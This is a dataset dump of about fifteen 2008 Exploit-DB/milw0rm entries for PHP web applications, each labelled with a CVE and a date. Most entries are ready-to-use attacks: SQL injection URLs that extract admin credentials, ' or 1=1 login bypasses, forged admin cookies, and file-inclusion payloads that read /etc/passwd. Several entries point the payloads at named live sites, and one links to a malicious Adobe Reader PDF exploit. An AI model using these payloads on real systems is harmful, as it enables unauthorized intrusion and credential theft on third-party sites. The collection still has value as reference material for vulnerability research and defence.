QLWD/code_shield huggingface dataset:
标题: DevelopItEasy News And Article System 1.4 - SQL Injection EDB-ID: 7014 CVE: 2008-5131 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-06 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : News And Article System v1.4

<<->> script site : www.developiteasy.com/news-and-article-system-v1.4-p-63.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13              



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit <<->>
         
        >>>> www.site.com/article_details.php?aid=[sql]
 

<<->> Exploit <<->> bypass <<->> in admin panel 
       
        >>>> www.developiteasy.com/article_system/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06] URL: https://www.exploit-db.com/exploits/7014
标题: Pre Classified Listings - Insecure Cookie Handling EDB-ID: 7000 CVE: 2008-6232 2008-6231 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Pre Classified Listings PHP Insecure Cookie Handling
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          Pre Classified Listings PHP version
[~] Language :          PHP
[~] Website[main]:      http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/pclphp.asp
[~] Type :              Commercial
[~] Report-Date :      05/11/2008
[~] Founder :   G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ Insecure Cookie Handling ]===
Admin Panel: http://localhost/[path]/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";



===[ LIVE ]===
Admin Panel: http://www.hostnomi.net/classi/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";





===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/7000
标题: DevelopItEasy Events Calendar 1.2 - Multiple SQL Injections EDB-ID: 7013 CVE: 2008-6608 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-06 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : Events Calendar v 1.2 

<<->> script site : www.developiteasy.com/events-calendar-v-1.2-p-65.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13               



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

 >>>> www.site.me/calendar_details.php?id=-26+union+select+0,0,concat(user_name,0x3a,user_pass),0,0,0,0,0,0,0+from+login--
      
 >>> demo ::: www.developiteasy.com/events_calendar/calendar_details.php?id=-26+union+select+0,0,concat(user_name,0x3a,user_pass),0,0,0,0,0,0,0+from+login--


<<->> Exploit <<->> bypass <<->>
 
        >>>> www.developiteasy.com/events_calendar/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06] URL: https://www.exploit-db.com/exploits/7013
标题: Joomla! Component Dada Mail Manager 2.6 - Remote File Inclusion EDB-ID: 7002 CVE: 2008-6221 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: ======================================================================================================================================


  [o] Dada Mail Manager Component 2.6 Remote File Inclusion Vulnerability

       Software : com_dadamail version 2.6
       Vendor   : http://joomlander.net
       Download : http://joomlacode.org/gf/project/dadamailmanager/frs
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


======================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_dadamail/config.dadamail.php

        require_once($GLOBALS['mosConfig_absolute_path'] . '/administrator/components/com_dadamail/language/default.php');



  [o] Exploit

       http://localhost/[path]/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=[evilcode]


======================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
======================================================================================================================================

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/7002
标题: Mole Group Taxi Calc Dist Script - Authentication Bypass EDB-ID: 7010 CVE: 2008-6484 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : mole-group Taxi Calc Dist Script

<<->> script demo : www.mole-group.com/content/view/59/74            



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>> 

          >>>> http://taxicalc.mole-group.com/login.php

 >>>> Bypass
 
        >>>> http://taxicalc.mole-group.com/login.php
        
        >>> user : cyb3r-1st ' or ' 1=1--
        
        >>> pass : cyb3r-1st
          

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/7010
标题: Pre Simple CMS - Authentication Bypass EDB-ID: 7004 CVE: 2008-5058 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: Pre Simple CMS (Auth Bypass) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://www.preproject.com/projectDetail.asp?projectID=240

_____

ExploiT
_______

http://www.uaebis.com/cms/siteadmin/adminlogin.php

exploit > Bypass
______________

user : admin ' or ' 1=1
pass: hussin-X





Greetz : All my freind


  Im IraQi        |         Im TrYaGi

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/7004
标题: Harlandscripts drinks - 'recid' SQL Injection EDB-ID: 7007 CVE: 2008-6233 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: ===========================================
Drinks script.
--------------------------------------------------------------------------------------
Vendor:     http://www.fivedollarscripts.com
Demo:       http://www.fivedollarscripts.com/drinks/index.php
Notified:     No. Probably don't care.
Price:        Five bones.
============================================

Exploit:
/path/index.php?cmd=6&recid=null union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--

Live Demo:
http://www.fivedollarscripts.com/drinks/index.php?cmd=6&recid=null
union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--

contact: x.s7acy at gmail dot com
greetings to bobthejanitor, mason, that new president guy, and the rest.
first script blah blah blah
=============================================

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/7007
标题: PreProject Multi-Vendor Shopping Malls - Multiple Vulnerabilities EDB-ID: 6999 CVE: 2008-6228 2008-6227 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Pre Multi-Vendor Shopping Malls Multiple Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          Pre Multi-Vendor Shopping Malls | Preproject MCart | PRE MULTI-VENDOR E-COMMERCE SOLUTION
[~] Language :          PHP
[~] Website[main]:      http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/mcart.asp
[~] Type :              Commercial
[~] Report-Date :      05/11/2008
[~] Founder :   G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ Insecure Cookie Handling ]===
admin-panel: http://localhost/[path]/SiteAdmin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";

===[ LIVE ]===
admin-panel: http://preproject.com/prebay/siteadmin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";



===[ SQL ]===
[!] http://localhost/[path]/buyer_detail.php?prodid=350&custid=240&sid=-111+UNION+ALL+SELECT+1,2,concat(user(),0x3a,version()),4,5--&cid=26
[!] http://localhost/[path]/buyer_detail.php?prodid=350&custid=240&sid=-111+UNION+ALL+SELECT+1,2,concat(login,0x3a,password),4,5+FROM+admin--&cid=26
[!] http://localhost/[path]/buyer_detail.php?prodid=350&custid=240&sid=111&cid=-26+UNION+ALL+SELECT+1,concat(login,0x3a,password),3,4+FROM+admin--



===[ SQL-LIVE ]===
[+] http://preproject.com/prebay/buyer_detail.php?prodid=350&custid=240&sid=-111+UNION+ALL+SELECT+1,2,concat(user(),0x3a,version()),4,5--&cid=26
[+] http://preproject.com/prebay/buyer_detail.php?prodid=350&custid=240&sid=-111+UNION+ALL+SELECT+1,2,concat(login,0x3a,password),4,5+FROM+admin--&cid=26
[+] http://preproject.com/prebay/buyer_detail.php?prodid=350&custid=240&sid=111&cid=-26+UNION+ALL+SELECT+1,concat(login,0x3a,password),3,4+FROM+admin--


===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/6999
标题: Pre Shopping Mall - Insecure Cookie Handling EDB-ID: 6998 CVE: 2008-6232 2008-6231 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PRE SHOPPING MALL Insecure Cookie Handling
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          PRE SHOPPING MALL
[~] Language :          PHP
[~] Website[main]:      http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/emall.asp
[~] Type :              Commercial
[~] Report-Date :      05/11/2008
[~] Founder :   G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ Insecure Cookie Handling ]===
Admin Panel: http://localhost/[path]/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";



===[ LIVE ]===
Admin Panel: http://preproject.com/emall/admin/loginform.php
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";





===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/6998
标题: Adobe Reader - 'util.printf()' JavaScript Function Stack Overflow (1) EDB-ID: 6994 CVE: 2008-2992 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-05 漏洞利用脚本: Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Exploit
author: Elazar

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6994.pdf (2008-APSB08-19.pdf)

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/6994
标题: nicLOR Sito - includefile Local File Inclusion EDB-ID: 6990 CVE: 2008-6290 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: # ------------------------------------------------------------
# Sito includefile in PHP Local File Inclusion Vulnerabilities
# ------------------------------------------------------------
# Discovered By StAkeR[at]hotmail[dot]it
# Download On http://www.niclor.net/prodotti/include_Sito_PHP/include_Sito_PHP.zip
# -----------------------------------------------------------

# File (includefile.php)
# Register Globals On
1. <? 
2. if (($page != "") or ($page == "home")) {
3.    include "pagine/$page_file";
4. } else {
5.    include "pagine/home.php";
6. }
7. ?>

# includefile.php?page=athos&page_file=../../../../../../etc/passwd

# File (index.php)
# Magic_Quotes_GPC
# index.php?id=../../../../../etc/passwd%00 

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6990
标题: Pre Podcast Portal - SQL Injection EDB-ID: 6997 CVE: 2008-6230 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PRE PODCAST PORTAL (Tour.php id) SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          PRE PODCAST PORTAL
[~] Language :          PHP
[~] Website[main]:      http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/podcast.asp
[~] Type :              Commercial
[~] Report-Date :      05/11/2008
[~] Founder :   G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ XPL ]===

[!] http://localhost/[path]/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user(),0x3a,version()),15,16,17--
[!] http://localhost/[path]/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user_name,0x3a,user_pass),15,16,17+FROM+admin--


===[ LIVE ]===
[+] http://www.hostnomi.net/newpod/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user(),0x3a,version()),15,16,17--
[+] http://www.hostnomi.net/newpod/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user_name,0x3a,user_pass),15,16,17+FROM+admin--




===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/6997
标题: WEBBDOMAIN Quiz 1.02 - Authentication Bypass EDB-ID: 6985 CVE: 2008-6626 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Quiz Auth Bypass
# [~] Script :http://webbdomain.com/php/quizen/
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/quizen/admin/

Username : admin ' or ' 1=1
password : Hakxer

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6985
标题: WEBBDOMAIN Post Card 1.02 - Authentication Bypass EDB-ID: 6989 CVE: 2008-6623 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: -==============================-
 Autore: x0r - Road Crew 
Cms: WebbDomain Web Postcards
Bug: Auth ByPass 
Site Of Seller: http://webbdomain.com
 -==============================- 
Exploit: http://webbdomain.com/php/postcarden/admin

Username: admin ' or ' 1=1 
Pass: x0r 

Live Demo: http://webbdomain.com/php/postcarden/admin/admin.php
 
Greetz: La Mia Bimb4...8\10\08 Ti AmO 

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6989
标题: wotw 5.0 - Local/Remote File Inclusion EDB-ID: 6992 CVE: 2008-6224 2008-6223 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ wotw <= 5.0 ]   Local/Remote File Inclusion Vulnerability   #
 ##################################################################
 # 
 # Script: "Way Of The Warrior is a web boardgame of fantasy battle..."
 #
 # Script site: http://wotw.altervista.org/
 # Download: http://sourceforge.net/project/platformdownload.php?group_id=178414
 #
 # [LFI] Vuln: http://site.com/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (line: 17)
 #
 # ...
 #  require_once("plance/".$_GET['plancia'].".php");  // LFI
 # ...   
 #
 #
 # [RFI] Vuln: http://site.com/wotw_5.0_en/crea.php?plancia=[spread?]
 #      
 # Bug: ./wotw_5.0_en/visualizza.php (lines: 12-19)
 #
 # ...
 #  if(isset($_GET['plancia']))
 #    {
 #     require_once("configurazione/tipi.php");
 #     require_once("unita/unita.php");
 #     require_once("plance/plance.php");
 #     require_once("giocatori/giocatori.php");
 #     require_once("terreni/terreni.php");
 #     require_once("".$_GET['plancia']);    // RFI
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6992